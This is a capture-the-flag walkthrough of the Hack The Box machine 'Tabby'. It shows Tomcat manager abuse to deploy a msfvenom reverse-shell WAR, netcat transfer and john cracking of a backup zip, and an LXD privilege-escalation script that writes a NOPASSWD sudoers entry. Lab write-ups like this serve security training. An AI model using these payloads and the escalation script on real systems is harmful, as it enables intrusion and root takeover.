


Tabby

```
=====
| TABBY 10.10.10.194 |
=====
```



InfoGathering

SCOPE

```
Hosts
====
```

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.10.10.194		tabby.htb	Linux		3.X	server		

SERVICES

```
Services
====
```

host	port	proto	name	state	info
10.10.10.194	22	tcp	ssh	open	OpenSSH 8.2p1 Ubuntu 4 Ubuntu Linux; protocol 2.0
10.10.10.194	80	tcp	http	open	Apache httpd 2.4.41 (Ubuntu)
10.10.10.194	8080	tcp	http	open	Apache Tomcat

SSH

[*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4

```
PORT  STATE SERVICE
22/tcp open  ssh
ssh-auth-methods:
  Supported authentication methods:
  _ publickey
ssh-publickey-acceptance:
_ Accepted Public Keys: No public keys accepted
_ssh-run: Failed to specify credentials and command to run.
ssh2-enum-algos:
  kex_algorithms: (9)
    curve25519-sha256
    curve25519-sha256@libssh.org
    ecdh-sha2-nistp256
    ecdh-sha2-nistp384
    ecdh-sha2-nistp521
    diffie-hellman-group-exchange-sha256
    diffie-hellman-group16-sha512
    diffie-hellman-group18-sha512
    diffie-hellman-group14-sha256
  server_host_key_algorithms: (5)
    rsa-sha2-512
    rsa-sha2-256
    ssh-rsa
    ecdsa-sha2-nistp256
    ssh-ed25519
  encryption_algorithms: (6)
    chacha20-poly1305@openssh.com
    aes128-ctr
    aes192-ctr
    aes256-ctr
    aes128-gcm@openssh.com
    aes256-gcm@openssh.com
  mac_algorithms: (10)
    umac-64-etm@openssh.com
    umac-128-etm@openssh.com
    hmac-sha2-256-etm@openssh.com
    hmac-sha2-512-etm@openssh.com
    hmac-sha1-etm@openssh.com
    umac-64@openssh.com
    umac-128@openssh.com
    hmac-sha2-256
    hmac-sha2-512
    hmac-sha1
  compression_algorithms: (2)
    none
_ zlib@openssh.com
```

HTTP




Font scripts


 Font Awesome

 Google Font API

Web servers

 Apache 2.4.41


Programming languages


 PHP

Operating systems

 Ubuntu

JavaScript libraries

 Modernizr 2.8.3

 jQuery 1.11.2

UI frameworks

 Bootstrap 3.3.1

URIS

Readme.txt	[Status: 200, Size: 1574, Words: 227, Lines: 36]
index.php	[Status: 200, Size: 14175, Words: 2135, Lines: 374]
news.php	[Status: 200, Size: 0, Words: 1, Lines: 1]
files	[Status: 403, Size: 274, Words: 20, Lines: 10]
assets	[Status: 403, Size: 274, Words: 20, Lines: 10]
favicon.ico	[Status: 200, Size: 759, Words: 8, Lines: 2]

INTERESTING SITES

- <http://tabby.htb/Readme.txt>
- <http://10.10.10.194/news.php?file=statement> (Possible dir traversa)

We apologise to all our customers for the previous data breach.

We have changed the site to remove this tool, and have invested heavily
in more secure servers

TEMPLATE FROM 2016: <https://dribbble.com/shots/1520333-Free-Hosting-Template-PSD>

HTTP 8080

Tomcat9 is being used and index page is at `/var/lib/tomcat9/webapps/ROOT/index.html`
Tomcat9 is installed with `CATALINA_HOME` in `/usr/share/tomcat9` and `CATALINA_BASE` in `/var/lib/tomcat9`, following the rules from `/usr/share/doc/tomcat9-common/RUNNING.txt.gz`.

VERSION INFO: <http://10.10.10.194:8080/docs/>


```
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
20 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
21 systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22 messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
23 syslog:x:104:110::/home/syslog:/usr/sbin/nologin
24 _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
25 tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
26 uidd:x:107:112::/run/uidd:/usr/sbin/nologin
27 tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
28 landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
29 pollinate:x:110:1::/var/cache/pollinate:/bin/false
30 sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
31 systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
32 lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
33 tomcat:x:997:997::/opt/tomcat:/bin/false
34 mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
35 ash:x:1000:1000:clive:/home/ash:/bin/bash
36
```

ASH Group Memberships

```
adm:x:4:syslog,ash
cdrom:x:24:ash
plugdev:x:46:ash
ash:x:1000:
```

OS Version: Ubuntu 20.04 LTS

Hostname: tabby

Hosts File: 127.0.0.1 megahosting.com localhost tabby

I know that `var/lib/tomcat9/webapps/ROOT/index.html` is the location of the tomcat index.html page.

This then tells me the following info

- CATALINA_HOME is `/usr/share/tomcat9`
- CATALINA_BASE is `/var/lib/tomcat9`

Using `apt-file` I discovered the location of the `tomcat-users.xml` file

```
apt-file search tomcat-users.xml
```



```
# Generate payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.33 LPORT=1337 -f WAR > tobor.war

# Set up listener
msfconsole
use multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST 10.10.14.33
set LPORT 1337
run -j

# Deploy an application
curl -u tomcat:'$3cureP4s5w0rd123!' --upload-file tobor.war http://10.10.10.194:8080/manager/text/deploy?path=/tobor

# Execute payload
curl http://10.10.10.194:8080/tobor -sL
```

SCREENSHOT EVIDENCE OF DEPLOYED WEB APP

```
root@kali:~/HTB/Boxes/Tabby# curl -u tomcat:'$3cureP4s5w0rd123!' --upload-file tobor.war http://10.10.10.194:8080/manager/text/deploy?path=/tobor
OK - Deployed application at context path [/tobor]
root@kali:~/HTB/Boxes/Tabby#
```

SCREENSHOT EVIDENCE OF REVERSE SHELL

```
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.10.14.33:1337 → 10.10.10.194:4444)

msf5 exploit(multi/handler) > sessions

Active sessions
=====
```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell	java/linux	10.10.14.33:1337 → 10.10.10.194:44086 (10.10.10.194)

```
msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

hostname
tabby
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
```

I found a password protected zip file in /var/www/html/files/ called 16162020_backup.zip.
I transferred it to my attack machine and cracked the password

```
# Start listener
nc -lv 1234 > 16162020_backup.zip

# Send file
nc -N 10.10.14.33 1234 < 16162020_backup.zip

# Make file john crackable. This will require copy and pasting the result into a file
zip2john 16162020_backup.zip crackzip.txt
```

CONTENTS OF crackzip.txt

```
16162020_backup.zip:$pkzip2
$3*2*1*0*0*24*02f9*5d46*ccf7b799809a3d3c12abb83063af3c6dd538521379c8d744cd195945926884341a9c4f74*1*0*8*24*
285c*5935*f422c178c96c8537b1297ae19ab6b91f497252d0a4efe86b3264ee48b099ed6dd54811ff*2*0*72*7b*5c67f19e*1b1f
*4f*8*72*5c67*5a7a*ca5fafc4738500a9b5a41c17d7ee193634e3f8e483b6795e898581d0fe5198d16fe5332ea7d4a299e95ebff
f6b9f955427563773b68eae312d2bb841eecd6b9cc70a7597226c7a8724b0fcd43e4d0183f0ad47c14bf0268c1113ff57e11fc2e7
4d72a8d30f3590adc3393dddac6dcb11bfd*$/pkzip2$::16162020_backup.zip:var/www/html/news.php, var/www/html/
logo.png, var/www/html/index.php:16162020_backup.zip
```

Crack the password

```
john crackzip.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
# RESULTS  
admin@it
```

SCREENSHOT EVIDENCE OF CRACKED PASSWORD

```
root@kali:~/HTB/Boxes/Tabby# john crackzip.txt --wordlist=/usr/share/wordlists/rockyou.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (PKZIP [32/64])  
Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
admin@it (16162020_backup.zip)  
1g 0:00:00:00 DONE (2020-07-04 15:30) 1.449g/s 15018Kp/s 15018Kc/s 15018Kc/s adnc153..adenabu  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed
```

PASSOWORD: admin@it

Unzip the files to read the backups

```
unzip 16162020_backup.zip
```

SCREENSHOT EVIDENCE OF CRACKED FILES

```
root@kali:~/HTB/Boxes/Tabby# unzip 16162020_backup.zip  
Archive: 16162020_backup.zip  
[16162020_backup.zip] var/www/html/favicon.ico password:  
  inflating: var/www/html/favicon.ico  
  inflating: var/www/html/index.php  
  extracting: var/www/html/logo.png  
  inflating: var/www/html/news.php  
  inflating: var/www/html/Readme.txt
```

These were only backed up files. This password also worked for signing into the target as the user ash

```
python3 -c 'import pty;pty.spawn("/bin/bash")'  
su ash  
Password: admin@it
```

I then obtained the user flag

```
cat /home/ash/user.txt  
# RESULTS  
ce14bdc2bff12c87148287ffe0790b7c
```

SCREENSHOT EVIDENCE OF USER FLAG

```
ash@tabby:/var/www/html/files$ cat /home/ash/user.txt  
cat /home/ash/user.txt  
ce14bdc2bff12c87148287ffe0790b7c  
ash@tabby:/var/www/html/files$
```

USER FLAG: ce14bdc2bff12c87148287ffe0790b7c

PrivEsc

Checking the permissions of the user ash I discover I am a member of the lxd group
I also see there is a network interface called lxdbr0 meaning containers may already exist

A container is already deployed

```
lxc ls
```

```
ash@tabby:/var/www/html/files$ lxc ls
lxc ls
+-----+-----+-----+-----+-----+-----+
| NAME   | STATE | IPV4   | IPV6   | TYPE   | SNAPSHOTS |
+-----+-----+-----+-----+-----+-----+
| ignite | STOPPED |        |        | CONTAINER | 0          |
+-----+-----+-----+-----+-----+-----+
```

I used the LXD Privilege Escalation method to obtain root privilege

CONTENTS OF lxd_privesc.sh

Script I wrote to exploit the vulnerability https://github.com/tobor88/Bash/blob/master/lxd_privesc.sh

```
#!/bin/bash
# LXD Privilege Escalation Method

# Allow Ctrl+C to kill process
trap '
  trap - INT # restore default INT handler
  kill -s INT "$$"
' INT

if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ] ; then
# This option displays a help message and command execution examples
  echo ""
  echo "OsbornePro LXE Privilege Escalation 1.0 ( https://roberthosborne.com )"
  echo ""
  echo "USAGE: ./lxd_privesc.sh <container name>"
  echo ""
  echo "OPTIONS:"
  echo "  -h : Displays the help information for the command."
  echo ""
  echo "EXAMPLES:"
  echo "  ./lxd_privesc.sh container1"
  echo "  # This example uses container1 to upgrade permissions for the current user"
  echo ""
  exit 0
fi

lxc stop "$1" 2> /dev/null
lxc config set "$1" security.privileged true || echo "[x] Failed to modify privilege"
lxc start "$1" || echo "[x] Failed to start container $1"
lxc config device add "$1" rootdisk disk source=/ path=/mnt/root recursive=true || echo "[x] Failed to
mount filesystem"
lxc exec "$1" -- /bin/sh -c "echo $USER 'ALL=(ALL)' NOPASSWD: ALL >> /mnt/root/etc/sudoers" || echo "[x]
Failed to add sudo privilege"
lxc config device remove "$1" rootdisk || echo "[x] Failed to unmount filesystem"
lxc config set "$1" security.privileged false || echo "[x] Failed to modify privilege"
lxc stop "$1"

echo "[*] Execution completed"

sudo id
sudo bash
```

I then obtained the root flag

```
cat /root/root.txt
# RESULTS
5a67966f6b1daf4b686dcbc107c3af81
```

SCREENSHOT EVIDENCE OF ROOT FLAG

```
ash@tabby:/dev/shm/.tobor$ sudo bash
sudo bash
root@tabby:/dev/shm/.tobor# cat /root/root.txt
cat /root/root.txt
5a67966f6b1daf4b686dcbc107c3af81
root@tabby:/dev/shm/.tobor#
```

ROOT FLAG: 5a67966f6b1daf4b686dcbc107c3af81